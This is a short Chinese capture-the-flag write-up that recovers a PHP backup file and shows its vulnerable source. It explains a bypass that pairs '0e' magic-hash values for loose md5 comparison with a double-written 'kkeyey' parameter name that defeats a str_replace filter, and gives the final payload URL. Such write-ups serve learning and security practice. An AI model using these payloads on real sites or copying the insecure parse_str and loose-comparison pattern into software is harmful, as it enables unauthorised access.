常用备份文件后缀:.swp,.bak
之前也做过相关题目 所以想到了?? index.php.bak
下载源代码
<?php /** ?* Created by PhpStorm. ?* User: Norse ?* Date: 2017/8/6 ?* Time: 20:22 */
include_once "flag.php"; //包含flag.php
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//设变量str的值为url中?后面的字符串
$str = substr($str,1);//设str为str中第一位开始后的字符串
$str = str_replace('key','',$str);//把str中的key替换成空
parse_str($str);//把str中的字符串解析为变量
echo md5($key1);//输出md5加密的key1
echo md5($key2);//输出md5加密的key2
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
???
要key1和key2加密后的md5值相等,但是key1和key2不相等,想到md5绕过-------传md5值是0e开头的字符串 构造url:?key1=QNKCDZO&key2=s878926199a,页面并没有弹出flag 正确的payload:?kkeyey1=QNKCDZO&kkeyey2=s878926199a
用kkeyey而不用key的原因: $str = str_replace('key','',$str);即当我们传入的参数带有key就会被替换为空,所以这里双写kkeyey来绕过,这样kkey ey即使key替换成空了一头一尾拼起来还是key ?
|